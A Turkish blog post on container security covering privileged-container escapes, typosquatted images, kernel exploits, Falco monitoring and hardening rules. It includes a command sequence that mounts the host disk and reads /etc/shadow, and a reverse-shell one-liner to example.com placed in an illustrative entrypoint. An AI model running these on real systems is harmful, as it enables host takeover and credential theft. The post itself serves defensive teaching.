İçeriğe geç
Sedat Özdemir
Yazılar

container-security

Runtime’da Fırtına Öncesi Sessizlik: Container Kaçışları ve İzleme Stratejileri

Container dünyasında izolasyon bir garantiden ziyade bir yanılsamadır; yanlış yapılandırılmış bir yetki seti veya yamalanmamış bir kernel, saldırganın host sistemine sızması için açık bir kapı bırakır.

Sedat Özdemir
· 3 dk okuma

Ayrıcalıklı (privileged) bir container içinde cap_sys_admin yetkisini gördüğün an, izolasyonun bittiği ve host sistemin teslim edildiği andır. Çoğu kişi containerları hafif sanal makineler sanıyor ama aslında sadece host kernel'ı üzerinde koşan, isim alanları (namespaces) ve kontrol grupları (cgroups) ile sınırlandırılmış birer prosesten ibaretler. Eğer bu sınırları doğru çizmezsen, saldırganın container'dan fırlayıp ana sisteme (host) sıçraması sadece saniyeler sürer.

O Meşhur '--privileged' Bayrağı ve Felakete Davetiye

Sahada en çok gördüğüm hata, 'çalışmıyor' diye yetkiyi köküne kadar açmak. Bir container'ı --privileged flag'i ile başlattığında, ona host üzerindeki neredeyse tüm aygıtlara erişim izni vermiş olursun. Bu, izolasyon duvarını kendi ellerinle yıkmak demek.

Saldırganın bu durumda yapacağı ilk şey, host diskini kendi container'ına mount etmektir. Şöyle bir senaryo düşün:

# Container içinde olduğumuzu varsayalım (Zararsızlaştırılmış örnek)
# Host'un ana diskini buluyoruz
lsblk

# Host diskini bir klasöre mount ediyoruz
mkdir /mnt/host_root
mount /dev/sda1 /mnt/host_root

# Artık host'un /etc/shadow dosyasına erişebilir, 
# yeni bir kullanıcı ekleyebilir veya SSH anahtarlarını çalabiliriz.
cat /mnt/host_root/etc/shadow

Bu kadar basit. Bu yüzden, testCompany bünyesinde prod ortamına çıkan her imajın yetki setini (capabilities) didik didik ediyoruz. CAP_SYS_ADMIN gibi yetkiler 'God Mode' gibidir, kesinlikle zorunlu olmadıkça verilmemelidir.

İmajın İçindeki Truva Atı: Supply Chain Güvenliği

Docker Hub üzerinden latest tag'i ile imaj çekmek, kimin hazırladığını bilmediğin bir USB belleği sunucuya takmakla eşdeğerdir. Saldırganlar popüler imajların benzer isimlerini alarak (typosquatting) içine 'reverse shell' veya 'cryptominer' gömülmüş paketler yerleştirebiliyorlar.

Payload şöyle bir şeye benzeyebilir (Pseudo-code):

FROM library/ubuntu:latest
RUN apt-get update && apt-get install -y reverse-shell-client
# Arka planda gizlice çalışacak bir script
COPY entrypoint.sh /usr/local/bin/
ENTRYPOINT ["/usr/local/bin/entrypoint.sh"]

Buradaki entrypoint.sh içinde sh -i >& /dev/tcp/example.com/4444 0>&1 gibi bir komutun gizlendiğini düşün. Container ayağa kalktığı an senin ağından dışarıya bir tünel açılır.

Ne yapmalıyız?

  1. Tag kullanma, Digest kullan: image: ubuntu:22.04 yerine image: ubuntu@sha256:45b23d... kullanarak imajın değişmediğinden emin ol.
  2. Statik Analiz (SAST): İmajları daha build aşamasındayken Trivy veya Grype gibi araçlarla tara.

Kernel Açıkları: Container'ın Aşil Topuğu

Container'lar host ile aynı kernel'ı paylaşır. Bu, eğer kernel üzerinde bir 'Privilege Escalation' (Yetki Yükseltme) açığı varsa, container içindeki bir kullanıcının doğrudan host'ta root olabileceği anlamına gelir. DirtyCow (CVE-2016-5195) veya Dirty Pipe (CVE-2022-0847) gibi açıklar bu durumun en klasik örnekleridir.

Container içinden kernel exploit etmek için yazılan kodlar genelde kernel bellek adreslerini manipüle eder. Savunma tarafında ise seccomp (Secure Computing Mode) profilleri hayat kurtarır. seccomp, bir container'ın kernel'a yapabileceği sistem çağrılarını (syscall) kısıtlar. Örneğin, bir web uygulamasının mount() veya reboot() sistem çağrısını yapmasına neden ihtiyacı olsun ki? Eğer bu çağrıları engellersen, exploit çalışsa bile kernel seviyesinde engellenir.

Runtime Security: İzlemek mi, Durdurmak mı?

Statik taramalar bir yere kadar korur. Saldırı anlık gerçekleşir. Runtime güvenliği için Falco gibi araçlar kullanarak sistem çağrılarını anlık olarak izlemelisin.

Örneğin, Falco'da şöyle bir kural setinin seni gece uykundan uyandırması gerekir:

- rule: Shell run in container
  desc: A shell was spawned in a container with a suspicious user
  condition: container.id != host and proc.name = sh and user.name != root
  output: "Züpheli aktivite: Container içinde shell açıldı (user=%user.name container_id=%container.id)"
  priority: WARNING

Bu kural, prod ortamında koşan bir container içinde birisi exec yapıp içeri girdiğinde seni anında uyarır. Red Team tarafında biz bu izleme mekanizmalarını atlatmak için genellikle mevcut proseslerin içine kod enjekte etmeye veya dosyasız (fileless) saldırılar denemeye çalışırız ama sağlam bir kısıtlama politikası işimizi çok zorlaştırır.

Hardening İçin 5 Altın Kural

İşi biraz daha somutlaştıralım. Bir sistem yöneticisi veya DevOps mühendisi olarak şu adımları atmalısın:

  1. Rootless Docker/Podman: Mümkünse container daemon'ını ve container'ları root olmayan bir kullanıcı ile çalıştır.
  2. ReadOnly Root Filesystem: Container'ın dosya sistemini read-only yap. Eğer saldırgan içeri sızsa bile bir exploit indiremez veya bir script yazamaz. docker run --read-only ...
  3. Resource Limits: cgroups kullanarak CPU ve RAM limitleri koy. Bu, hem DoS saldırılarını hem de container içinde çalıştırılabilecek cryptominer'ları engeller.
  4. No New Privileges: Container içindeki bir prosesin setuid veya setgid bitleri aracılığıyla yeni yetkiler kazanmasını engelle. docker run --security-opt=no-new-privileges ...
  5. Network Policies: Kubernetes kullanıyorsan, container'lar arası trafiği default-deny (varsayılan engel) yap. Sadece birbirine ihtiyacı olan servisler konuşabilsin.

Container güvenliği, bir kez yapılıp unutulacak bir check-list değil, sürekli bir izleme ve iyileştirme döngüsüdür. Unutma, en güvenli container, çalışmayan container'dır; ama madem çalıştırıyoruz, o zaman sınırları biz çizmeliyiz, saldırganlar değil.

İlgili yazılar